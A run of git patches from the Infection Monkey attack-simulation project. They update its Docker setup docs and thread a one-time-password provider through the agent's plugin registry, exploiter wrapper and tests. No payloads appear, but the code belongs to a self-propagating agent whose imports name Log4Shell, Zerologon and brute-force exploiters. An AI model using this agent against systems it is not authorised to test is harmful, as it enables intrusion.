2001 From: Ilija Lazoroski Date: Mon, 13 Mar 2023 22:49:57 +0100 Subject: [PATCH 0592/1338] Docs: Update docker setup to use infection/monkey-island Docker image --- docs/content/FAQ/_index.md | 2 +- docs/content/setup/docker.md | 22 ++++++++++++++++------ 2 files changed, 17 insertions(+), 7 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index ffe5390b6fd..66e06033870 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -133,7 +133,7 @@ To reset the credentials, you'll need to perform a complete factory reset: sudo docker run \ --name monkey-island \ --network=host \ - guardicore/monkey-island:VERSION + infectionmonkey/monkey-island:VERSION ``` 1. Go to the Monkey Island's URL and create a new account. diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index 96394438cd5..4b3dfeaf7f8 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -14,12 +14,22 @@ The Infection Monkey Docker container works on Linux only. It is not compatible ## Deployment ### 1. Load the docker images +#### Mongo Database Docker image 1. Pull the MongoDB v6.0 Docker image: ```bash sudo docker pull mongo:6.0 ``` +#### Monkey Island Docker image +1. Pull the Monkey Island Docker image through DockerHub: + + ```bash + sudo docker pull infectionmonkey/monkey_island:v2.0.0 + ``` + +or + 1. Extract the Monkey Island Docker tarball: ```bash @@ -64,7 +74,7 @@ been signed by a private certificate authority. --interactive \ --name monkey-island \ --network=host \ - guardicore/monkey-island:VERSION + infectionmonkey/monkey-island:VERSION ``` ### 4. Accessing Monkey Island @@ -89,7 +99,7 @@ sudo docker run \ --network=host \ --user "$(id -u ${USER}):$(id -g ${USER})" \ --volume "$(realpath ./monkey_island_data)":/monkey_island_data \ - guardicore/monkey-island:VERSION --setup-only + infectionmonkey/monkey-island:VERSION --setup-only ``` 1. Move your `server_config.json` file to `./monkey_island_data` directory. 1. Run the container with a mounted volume, specify the path to the `server_config.json`: @@ -100,7 +110,7 @@ sudo docker run \ --network=host \ --user "$(id -u ${USER}):$(id -g ${USER})" \ --volume "$(realpath ./monkey_island_data)":/monkey_island_data \ - guardicore/monkey-island:VERSION --server-config="/monkey_island_data/server_config.json" + infectionmonkey/monkey-island:VERSION --server-config="/monkey_island_data/server_config.json" ``` ### Start Monkey Island with user-provided certificate @@ -135,7 +145,7 @@ private certificate authority. --network=host \ --user "$(id -u ${USER}):$(id -g ${USER})" \ --volume "$(realpath ./monkey_island_data)":/monkey_island_data \ - guardicore/monkey-island:VERSION --setup-only --server-config="/monkey_island_data/server_config.json" + infection-monkey/monkey-island:VERSION --setup-only --server-config="/monkey_island_data/server_config.json" ``` 1. Access the Monkey Island web UI by pointing your browser at `https://localhost:5000`. @@ -157,7 +167,7 @@ private certificate authority. --network=host \ --user "$(id -u ${USER}):$(id -g ${USER})" \ --volume "$(realpath ./monkey_island_data)":/monkey_island_data \ - guardicore/monkey-island:VERSION --setup-only --server-config="/monkey_island_data/server_config.json" + infectionmonkey/monkey-island:VERSION --setup-only --server-config="/monkey_island_data/server_config.json" ``` 1. Access the Monkey Island web UI by pointing your browser at `https://localhost:5000`. @@ -186,7 +196,7 @@ to store data in the `monkey-mongo` container. UnicodeDecodeError: 'utf-8' codec can't decode byte 0xee in position 0: invalid continuation byte ``` -Starting a new container from the `guardicore/monkey-island:VERSION` image +Starting a new container from the `infectionmonkey/monkey-island:VERSION` image generates a new secret key for storing sensitive information in MongoDB. If you have an old database instance running (from a previous instance of Infection Monkey), the data stored in the `monkey-mongo` container has been encrypted From 6eef6fdc07f02cdfd0fb4b7e9b04f99c79cdfdcb Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 14 Mar 2023 12:35:25 +0530 Subject: [PATCH 0593/1338] Docs: Change Docker image tag from 'v2.0.0' to 'latest' --- docs/content/setup/docker.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index 4b3dfeaf7f8..1fc927f1898 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -25,7 +25,7 @@ The Infection Monkey Docker container works on Linux only. It is not compatible 1. Pull the Monkey Island Docker image through DockerHub: ```bash - sudo docker pull infectionmonkey/monkey_island:v2.0.0 + sudo docker pull infectionmonkey/monkey_island:latest ``` or From 740edb066f82ed8882ac56d829893ee1aed307af Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Mar 2023 12:55:47 +0100 Subject: [PATCH 0594/1338] Docs: Remove Docker tarball option --- docs/content/FAQ/_index.md | 2 +- docs/content/setup/docker.md | 18 +----------------- 2 files changed, 2 insertions(+), 18 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index 66e06033870..3db741fe015 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -133,7 +133,7 @@ To reset the credentials, you'll need to perform a complete factory reset: sudo docker run \ --name monkey-island \ --network=host \ - infectionmonkey/monkey-island:VERSION + infectionmonkey/monkey-island:latest ``` 1. Go to the Monkey Island's URL and create a new account. diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index 1fc927f1898..93aaf2a612c 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -14,34 +14,18 @@ The Infection Monkey Docker container works on Linux only. It is not compatible ## Deployment ### 1. Load the docker images -#### Mongo Database Docker image 1. Pull the MongoDB v6.0 Docker image: ```bash sudo docker pull mongo:6.0 ``` -#### Monkey Island Docker image -1. Pull the Monkey Island Docker image through DockerHub: +1. Pull the Monkey Island Docker image: ```bash sudo docker pull infectionmonkey/monkey_island:latest ``` -or - -1. Extract the Monkey Island Docker tarball: - - ```bash - tar -xvzf InfectionMonkey-docker-v2.0.0.tgz - ``` - -1. Load the Monkey Island Docker image: - - ```bash - sudo docker load -i InfectionMonkey-docker-v2.0.0.tar - ``` - ### 2. Start MongoDB {{% notice info %}} If you are upgrading the Infection Monkey to a new version, be sure to remove From d4183515c54ef0270ac70184d10335f2bf0ed60e Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Mar 2023 13:33:56 +0100 Subject: [PATCH 0595/1338] Build: Add Monkey Island tarbal option run for Docker --- build_scripts/README.md | 18 ++++++++++++++++-- build_scripts/docker/DOCKER_README.md | 4 ---- 2 files changed, 16 insertions(+), 6 deletions(-) delete mode 100644 build_scripts/docker/DOCKER_README.md diff --git a/build_scripts/README.md b/build_scripts/README.md index 319d74f9a46..ae1fa88c411 100644 --- a/build_scripts/README.md +++ b/build_scripts/README.md @@ -44,5 +44,19 @@ NOTE: This script is intended to be run from a clean VM. You can also manually remove build artifacts by running `docker/clean.sh` ### Running the Docker Image -The build script will produce a `.tgz` file in `./dist/`. See -`docker/DOCKER_README.md` for instructions on running the docker image. +The build script will produce a `.tgz` file in `./dist/`. +To load the `.tgz` file: + +1. Extract the Monkey Island Docker tarball: + ```bash + tar -xvzf InfectionMonkey-docker-v2.0.0.tgz + ``` + +1. Load the Monkey Island Docker image: + + ```bash + sudo docker load -i InfectionMonkey-docker-v2.0.0.tar + ``` + +For more information on how to run your local Monkey Island Docker image, see +[https://techdocs.akamai.com/infection-monkey/docs/docker/](https://techdocs.akamai.com/infection-monkey/docs/docker/). diff --git a/build_scripts/docker/DOCKER_README.md b/build_scripts/docker/DOCKER_README.md deleted file mode 100644 index 24b08775945..00000000000 --- a/build_scripts/docker/DOCKER_README.md +++ /dev/null @@ -1,4 +0,0 @@ -# Infection Monkey - -For instructions on setting up the Infection Monkey Docker container, see -[https://techdocs.akamai.com/infection-monkey/docs/docker/](https://techdocs.akamai.com/infection-monkey/docs/docker/). From 16a793705768296c1ab21b21979f5f9b74226696 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Mar 2023 18:19:19 +0100 Subject: [PATCH 0596/1338] Docs: Use `latest` instead of `VERSION` in Docker setup --- docs/content/setup/docker.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/docs/content/setup/docker.md b/docs/content/setup/docker.md index 93aaf2a612c..10a72cb08aa 100644 --- a/docs/content/setup/docker.md +++ b/docs/content/setup/docker.md @@ -58,7 +58,7 @@ been signed by a private certificate authority. --interactive \ --name monkey-island \ --network=host \ - infectionmonkey/monkey-island:VERSION + infectionmonkey/monkey-island:latest ``` ### 4. Accessing Monkey Island @@ -83,7 +83,7 @@ sudo docker run \ --network=host \ --user "$(id -u ${USER}):$(id -g ${USER})" \ --volume "$(realpath ./monkey_island_data)":/monkey_island_data \ - infectionmonkey/monkey-island:VERSION --setup-only + infectionmonkey/monkey-island:latest --setup-only ``` 1. Move your `server_config.json` file to `./monkey_island_data` directory. 1. Run the container with a mounted volume, specify the path to the `server_config.json`: @@ -94,7 +94,7 @@ sudo docker run \ --network=host \ --user "$(id -u ${USER}):$(id -g ${USER})" \ --volume "$(realpath ./monkey_island_data)":/monkey_island_data \ - infectionmonkey/monkey-island:VERSION --server-config="/monkey_island_data/server_config.json" + infectionmonkey/monkey-island:latest --server-config="/monkey_island_data/server_config.json" ``` ### Start Monkey Island with user-provided certificate @@ -129,7 +129,7 @@ private certificate authority. --network=host \ --user "$(id -u ${USER}):$(id -g ${USER})" \ --volume "$(realpath ./monkey_island_data)":/monkey_island_data \ - infection-monkey/monkey-island:VERSION --setup-only --server-config="/monkey_island_data/server_config.json" + infection-monkey/monkey-island:latest --setup-only --server-config="/monkey_island_data/server_config.json" ``` 1. Access the Monkey Island web UI by pointing your browser at `https://localhost:5000`. @@ -151,7 +151,7 @@ private certificate authority. --network=host \ --user "$(id -u ${USER}):$(id -g ${USER})" \ --volume "$(realpath ./monkey_island_data)":/monkey_island_data \ - infectionmonkey/monkey-island:VERSION --setup-only --server-config="/monkey_island_data/server_config.json" + infectionmonkey/monkey-island:latest --setup-only --server-config="/monkey_island_data/server_config.json" ``` 1. Access the Monkey Island web UI by pointing your browser at `https://localhost:5000`. From 0f139a640e679a2756cdbf5e90bab0db32974262 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 15 Mar 2023 15:00:53 +0530 Subject: [PATCH 0597/1338] Agent: Add AgentOTPProvider --- monkey/infection_monkey/exploit/agent_otp_provider.py | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100644 monkey/infection_monkey/exploit/agent_otp_provider.py diff --git a/monkey/infection_monkey/exploit/agent_otp_provider.py b/monkey/infection_monkey/exploit/agent_otp_provider.py new file mode 100644 index 00000000000..2683ca40585 --- /dev/null +++ b/monkey/infection_monkey/exploit/agent_otp_provider.py @@ -0,0 +1,11 @@ +from infection_monkey.island_api_client import IIslandAPIClient + +from .i_agent_otp_provider import IAgentOTPProvider + + +class AgentOTPProvider(IAgentOTPProvider): + def __init__(self, island_api_client: IIslandAPIClient): + self._island_api_client = island_api_client + + def get_otp(self) -> str: + return self._island_api_client.get_otp() From ba63344058e20c91be83f723a51510cd8312591d Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 15 Mar 2023 15:05:15 +0530 Subject: [PATCH 0598/1338] Agent: Import AgentOTPProvider in exploit/__init__.py --- monkey/infection_monkey/exploit/__init__.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 22d1fc86537..b388cc0c149 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -1,3 +1,4 @@ from .i_agent_binary_repository import IAgentBinaryRepository, RetrievalError from .caching_agent_binary_repository import CachingAgentBinaryRepository from .exploiter_wrapper import ExploiterWrapper +from .agent_otp_provider import AgentOTPProvider From 09139e15fb0c35184308607b5a5bc7f258a6fbf7 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 15 Mar 2023 15:07:36 +0530 Subject: [PATCH 0599/1338] Project: Remove IAgentOTPProvider, add AgentOTPProvider in Vulture allowlist --- vulture_allowlist.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index f89cd9fa7f1..90207a99502 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -8,7 +8,7 @@ from common.base_models import InfectionMonkeyModelConfig, MutableInfectionMonkeyModelConfig from common.credentials import LMHash, NTHash, SecretEncodingConfig from common.types import Lock, NetworkPort, PluginName -from infection_monkey.exploit.i_otp_provider import IAgentOTPProvider +from infection_monkey.exploit import AgentOTPProvider from infection_monkey.exploit.log4shell_utils.ldap_server import LDAPServerFactory from infection_monkey.exploit.tools import generate_brute_force_credentials, secret_type_filter from infection_monkey.exploit.zerologon import NetrServerPasswordSet, NetrServerPasswordSetResponse @@ -144,4 +144,4 @@ # Remove after #3077 http_island_api_client.get_otp -IAgentOTPProvider +AgentOTPProvider From 3b3c8d6e68c30170e095e10209aeaf197b373bd6 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 15 Mar 2023 17:14:58 +0530 Subject: [PATCH 0600/1338] Agent: Rename AgentOTPProvider -> IslandAPIAgentOTPProvider --- monkey/infection_monkey/exploit/__init__.py | 2 +- .../{agent_otp_provider.py => island_api_agent_otp_provider.py} | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) rename monkey/infection_monkey/exploit/{agent_otp_provider.py => island_api_agent_otp_provider.py} (85%) diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index b388cc0c149..29c6ba75685 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -1,4 +1,4 @@ from .i_agent_binary_repository import IAgentBinaryRepository, RetrievalError from .caching_agent_binary_repository import CachingAgentBinaryRepository from .exploiter_wrapper import ExploiterWrapper -from .agent_otp_provider import AgentOTPProvider +from .island_api_agent_otp_provider import IslandAPIAgentOTPProvider diff --git a/monkey/infection_monkey/exploit/agent_otp_provider.py b/monkey/infection_monkey/exploit/island_api_agent_otp_provider.py similarity index 85% rename from monkey/infection_monkey/exploit/agent_otp_provider.py rename to monkey/infection_monkey/exploit/island_api_agent_otp_provider.py index 2683ca40585..6eee3574fa4 100644 --- a/monkey/infection_monkey/exploit/agent_otp_provider.py +++ b/monkey/infection_monkey/exploit/island_api_agent_otp_provider.py @@ -3,7 +3,7 @@ from .i_agent_otp_provider import IAgentOTPProvider -class AgentOTPProvider(IAgentOTPProvider): +class IslandAPIAgentOTPProvider(IAgentOTPProvider): def __init__(self, island_api_client: IIslandAPIClient): self._island_api_client = island_api_client From e0e2510d1523a614a17f56716b9c1535cb5103e7 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 15 Mar 2023 17:15:23 +0530 Subject: [PATCH 0601/1338] Project: Fix Vulture allowlist entry (AgentOTPProvider -> IslandAPIAgentOTPProvider) --- vulture_allowlist.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 90207a99502..319fa2d495a 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -8,7 +8,7 @@ from common.base_models import InfectionMonkeyModelConfig, MutableInfectionMonkeyModelConfig from common.credentials import LMHash, NTHash, SecretEncodingConfig from common.types import Lock, NetworkPort, PluginName -from infection_monkey.exploit import AgentOTPProvider +from infection_monkey.exploit import IslandAPIAgentOTPProvider from infection_monkey.exploit.log4shell_utils.ldap_server import LDAPServerFactory from infection_monkey.exploit.tools import generate_brute_force_credentials, secret_type_filter from infection_monkey.exploit.zerologon import NetrServerPasswordSet, NetrServerPasswordSetResponse @@ -144,4 +144,4 @@ # Remove after #3077 http_island_api_client.get_otp -AgentOTPProvider +IslandAPIAgentOTPProvider From aa242542eb11205d28df319c3eace2895f82c708 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 15 Mar 2023 15:13:09 +0530 Subject: [PATCH 0602/1338] Agent: Construct OTP provider in monkey.py --- monkey/infection_monkey/monkey.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index c8ad16c08b7..e49c6b55fa7 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -46,7 +46,11 @@ MimikatzCredentialCollector, SSHCredentialCollector, ) -from infection_monkey.exploit import CachingAgentBinaryRepository, ExploiterWrapper +from infection_monkey.exploit import ( + IslandAPIAgentOTPProvider, + CachingAgentBinaryRepository, + ExploiterWrapper, +) from infection_monkey.exploit.log4shell import Log4ShellExploiter from infection_monkey.exploit.mssqlexec import MSSQLExploiter from infection_monkey.exploit.powershell import PowerShellExploiter @@ -342,6 +346,7 @@ def _build_puppet(self, operating_system: OperatingSystem) -> IPuppet: manager=self._manager, ) + otp_provider = IslandAPIAgentOTPProvider(self._island_api_client) plugin_loader = PluginLoader( self._plugin_dir, partial(configure_child_process_logger, self._ipc_logger_queue) ) From 30c4541c5a2c5645b559d020226dc16437950e4a Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 15 Mar 2023 15:16:51 +0530 Subject: [PATCH 0603/1338] Agent: Pass OTP provider to PluginRegistry --- monkey/infection_monkey/exploit/__init__.py | 1 + monkey/infection_monkey/monkey.py | 8 +++++--- monkey/infection_monkey/puppet/plugin_registry.py | 4 +++- 3 files changed, 9 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 29c6ba75685..2c86a697b69 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -2,3 +2,4 @@ from .caching_agent_binary_repository import CachingAgentBinaryRepository from .exploiter_wrapper import ExploiterWrapper from .island_api_agent_otp_provider import IslandAPIAgentOTPProvider +from .i_agent_otp_provider import IAgentOTPProvider diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index e49c6b55fa7..5d7b42e6572 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -346,19 +346,21 @@ def _build_puppet(self, operating_system: OperatingSystem) -> IPuppet: manager=self._manager, ) - otp_provider = IslandAPIAgentOTPProvider(self._island_api_client) + plugin_source_extractor = PluginSourceExtractor(self._plugin_dir) plugin_loader = PluginLoader( self._plugin_dir, partial(configure_child_process_logger, self._ipc_logger_queue) ) + otp_provider = IslandAPIAgentOTPProvider(self._island_api_client) plugin_registry = PluginRegistry( operating_system, self._island_api_client, - PluginSourceExtractor(self._plugin_dir), + plugin_source_extractor, plugin_loader, agent_binary_repository, self._agent_event_publisher, self._propagation_credentials_repository, - tcp_port_selector=self._tcp_port_selector, + self._tcp_port_selector, + otp_provider, ) plugin_compatability_verifier = PluginCompatabilityVerifier( self._island_api_client, HARD_CODED_EXPLOITER_MANIFESTS diff --git a/monkey/infection_monkey/puppet/plugin_registry.py b/monkey/infection_monkey/puppet/plugin_registry.py index 52f7d746e3a..4292f7825b2 100644 --- a/monkey/infection_monkey/puppet/plugin_registry.py +++ b/monkey/infection_monkey/puppet/plugin_registry.py @@ -9,7 +9,7 @@ from common import OperatingSystem from common.agent_plugins import AgentPlugin, AgentPluginType from common.event_queue import IAgentEventPublisher -from infection_monkey.exploit import IAgentBinaryRepository +from infection_monkey.exploit import IAgentBinaryRepository, IAgentOTPProvider from infection_monkey.i_puppet import UnknownPluginError from infection_monkey.island_api_client import IIslandAPIClient, IslandAPIRequestError from infection_monkey.network import TCPPortSelector @@ -34,6 +34,7 @@ def __init__( agent_event_publisher: IAgentEventPublisher, propagation_credentials_repository: IPropagationCredentialsRepository, tcp_port_selector: TCPPortSelector, + otp_provider: IAgentOTPProvider, ): """ `self._registry` looks like - @@ -54,6 +55,7 @@ def __init__( self._agent_event_publisher = agent_event_publisher self._propagation_credentials_repository = propagation_credentials_repository self._tcp_port_selector = tcp_port_selector + self._otp_provider = otp_provider self._agent_id = get_agent_id() self._lock = RLock() From 1039ce14ed2b96a4ac652e3437e285e188773835 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 15 Mar 2023 15:40:23 +0530 Subject: [PATCH 0604/1338] UT: Fix tests using PluginRegistry --- .../infection_monkey/puppet/test_plugin_registry.py | 11 ++++++++++- .../unit_tests/infection_monkey/puppet/test_puppet.py | 1 + 2 files changed, 11 insertions(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/infection_monkey/puppet/test_plugin_registry.py b/monkey/tests/unit_tests/infection_monkey/puppet/test_plugin_registry.py index 5bdd979481a..a645f1445cc 100644 --- a/monkey/tests/unit_tests/infection_monkey/puppet/test_plugin_registry.py +++ b/monkey/tests/unit_tests/infection_monkey/puppet/test_plugin_registry.py @@ -6,7 +6,7 @@ from common import OperatingSystem from common.agent_plugins import AgentPlugin, AgentPluginManifest, AgentPluginType from common.event_queue import IAgentEventPublisher -from infection_monkey.exploit import IAgentBinaryRepository +from infection_monkey.exploit import IAgentBinaryRepository, IAgentOTPProvider from infection_monkey.i_puppet import UnknownPluginError from infection_monkey.island_api_client import ( IIslandAPIClient, @@ -48,6 +48,11 @@ def dummy_tcp_port_selector() -> TCPPortSelector: return MagicMock(spec=TCPPortSelector) +@pytest.fixture +def dummy_otp_provider() -> IAgentOTPProvider: + return MagicMock(spec=IAgentOTPProvider) + + @pytest.mark.parametrize( "error_raised_by_island_api_client, error_raised_by_plugin_registry", [(IslandAPIRequestError, UnknownPluginError), (IslandAPIError, IslandAPIError)], @@ -59,6 +64,7 @@ def test_get_plugin__error_handling( dummy_agent_event_publisher: IAgentEventPublisher, dummy_propagation_credentials_repository: IPropagationCredentialsRepository, dummy_tcp_port_selector: TCPPortSelector, + dummy_otp_provider: IAgentOTPProvider, error_raised_by_island_api_client: Exception, error_raised_by_plugin_registry: Exception, ): @@ -75,6 +81,7 @@ def test_get_plugin__error_handling( dummy_agent_event_publisher, dummy_propagation_credentials_repository, dummy_tcp_port_selector, + dummy_otp_provider, ) with pytest.raises(error_raised_by_plugin_registry): @@ -128,6 +135,7 @@ def plugin_registry( dummy_agent_event_publisher: IAgentEventPublisher, dummy_propagation_credentials_repository: IPropagationCredentialsRepository, dummy_tcp_port_selector: TCPPortSelector, + dummy_otp_provider: IAgentOTPProvider, ) -> PluginRegistry: return PluginRegistry( OperatingSystem.LINUX, @@ -138,6 +146,7 @@ def plugin_registry( dummy_agent_event_publisher, dummy_propagation_credentials_repository, dummy_tcp_port_selector, + dummy_otp_provider, ) diff --git a/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py b/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py index 9e83d0fcfe1..1b575138c3d 100644 --- a/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py +++ b/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py @@ -29,6 +29,7 @@ def mock_plugin_registry() -> PluginRegistry: MagicMock(), MagicMock(), MagicMock(), + MagicMock(), ) From 14ebbfe710d014f9dca99f0085fa59d4ab7e7edf Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 15 Mar 2023 16:07:09 +0530 Subject: [PATCH 0605/1338] Agent: Pass OTP provider to plugins during construction in PluginRegistry --- monkey/infection_monkey/puppet/plugin_registry.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/infection_monkey/puppet/plugin_registry.py b/monkey/infection_monkey/puppet/plugin_registry.py index 4292f7825b2..b7a34a2df0a 100644 --- a/monkey/infection_monkey/puppet/plugin_registry.py +++ b/monkey/infection_monkey/puppet/plugin_registry.py @@ -83,6 +83,7 @@ def _load_plugin_from_island(self, plugin_name: str, plugin_type: AgentPluginTyp agent_event_publisher=self._agent_event_publisher, propagation_credentials_repository=self._propagation_credentials_repository, tcp_port_selector=self._tcp_port_selector, + otp_provider=self._otp_provider, ) self.load_plugin(plugin_type, plugin_name, multiprocessing_plugin) From c5eb682562bb042680dcd5b19425ea5e85605aee Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 15 Mar 2023 17:01:26 +0530 Subject: [PATCH 0606/1338] Agent: Pass OTP provider to hard-coded exploiters --- monkey/infection_monkey/exploit/HostExploiter.py | 3 +++ monkey/infection_monkey/exploit/exploiter_wrapper.py | 12 +++++++++++- monkey/infection_monkey/monkey.py | 2 +- 3 files changed, 15 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index a6c08978d4d..6f7bdbff6fb 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -8,6 +8,7 @@ from common.event_queue import IAgentEventQueue from common.types import Event from common.utils.exceptions import FailedExploitationError +from infection_monkey.exploit import IAgentOTPProvider from infection_monkey.i_puppet import ExploiterResultData, TargetHost from infection_monkey.network import TCPPortSelector from infection_monkey.utils.ids import get_agent_id @@ -77,6 +78,7 @@ def exploit_host( tcp_port_selector: TCPPortSelector, options: Dict, interrupt: Event, + otp_provider: IAgentOTPProvider, ): self.host = host self.servers = servers @@ -86,6 +88,7 @@ def exploit_host( self.tcp_port_selector = tcp_port_selector self.options = options self.interrupt = interrupt + self.otp_provider = otp_provider self.pre_exploit() try: diff --git a/monkey/infection_monkey/exploit/exploiter_wrapper.py b/monkey/infection_monkey/exploit/exploiter_wrapper.py index e2b42b21942..fdcef3f2d0f 100644 --- a/monkey/infection_monkey/exploit/exploiter_wrapper.py +++ b/monkey/infection_monkey/exploit/exploiter_wrapper.py @@ -2,6 +2,7 @@ from common.event_queue import IAgentEventQueue from common.types import Event +from infection_monkey.exploit import IAgentOTPProvider from infection_monkey.i_puppet import TargetHost from infection_monkey.network import TCPPortSelector @@ -24,11 +25,13 @@ def __init__( event_queue: IAgentEventQueue, agent_binary_repository: IAgentBinaryRepository, tcp_port_selector: TCPPortSelector, + otp_provider: IAgentOTPProvider, ): self._exploit_class = exploit_class self._event_queue = event_queue self._agent_binary_repository = agent_binary_repository self._tcp_port_selector = tcp_port_selector + self._otp_provider = otp_provider def run( self, @@ -48,6 +51,7 @@ def run( self._tcp_port_selector, options, interrupt, + self._otp_provider, ) def __init__( @@ -55,12 +59,18 @@ def __init__( event_queue: IAgentEventQueue, agent_binary_repository: IAgentBinaryRepository, tcp_port_selector: TCPPortSelector, + otp_provider: IAgentOTPProvider, ): self._event_queue = event_queue self._agent_binary_repository = agent_binary_repository self._tcp_port_selector = tcp_port_selector + self._otp_provider = otp_provider def wrap(self, exploit_class: Type[HostExploiter]): return ExploiterWrapper.Inner( - exploit_class, self._event_queue, self._agent_binary_repository, self._tcp_port_selector + exploit_class, + self._event_queue, + self._agent_binary_repository, + self._tcp_port_selector, + self._otp_provider, ) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 5d7b42e6572..69923aa40ba 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -384,7 +384,7 @@ def _build_puppet(self, operating_system: OperatingSystem) -> IPuppet: puppet.load_plugin(AgentPluginType.FINGERPRINTER, "ssh", SSHFingerprinter()) exploit_wrapper = ExploiterWrapper( - self._agent_event_queue, agent_binary_repository, self._tcp_port_selector + self._agent_event_queue, agent_binary_repository, self._tcp_port_selector, otp_provider ) puppet.load_plugin( From 3c2899aa0ff693ea8570f50b88dc5341d8f05365 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 15 Mar 2023 17:11:09 +0530 Subject: [PATCH 0607/1338] Agent: Fix imports for ExploiterWrapper --- monkey/infection_monkey/exploit/__init__.py | 2 +- monkey/infection_monkey/exploit/exploiter_wrapper.py | 3 +-- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 2c86a697b69..b329b8ca87d 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -1,5 +1,5 @@ from .i_agent_binary_repository import IAgentBinaryRepository, RetrievalError from .caching_agent_binary_repository import CachingAgentBinaryRepository -from .exploiter_wrapper import ExploiterWrapper from .island_api_agent_otp_provider import IslandAPIAgentOTPProvider from .i_agent_otp_provider import IAgentOTPProvider +from .exploiter_wrapper import ExploiterWrapper diff --git a/monkey/infection_monkey/exploit/exploiter_wrapper.py b/monkey/infection_monkey/exploit/exploiter_wrapper.py index fdcef3f2d0f..a9037d82aeb 100644 --- a/monkey/infection_monkey/exploit/exploiter_wrapper.py +++ b/monkey/infection_monkey/exploit/exploiter_wrapper.py @@ -2,11 +2,10 @@ from common.event_queue import IAgentEventQueue from common.types import Event -from infection_monkey.exploit import IAgentOTPProvider from infection_monkey.i_puppet import TargetHost from infection_monkey.network import TCPPortSelector -from . import IAgentBinaryRepository +from . import IAgentBinaryRepository, IAgentOTPProvider from .HostExploiter import HostExploiter From 76aa09d2a50a0e8982fadb217b667ddea2aedd8b Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 15 Mar 2023 17:12:37 +0530 Subject: [PATCH 0608/1338] UT: Fix Powershell exploiter tests --- .../tests/unit_tests/infection_monkey/exploit/test_powershell.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index ef0c2311bef..679d175959d 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -61,6 +61,7 @@ def powershell_arguments(host_with_ip_address): "agent_binary_repository": mock_agent_binary_repository, 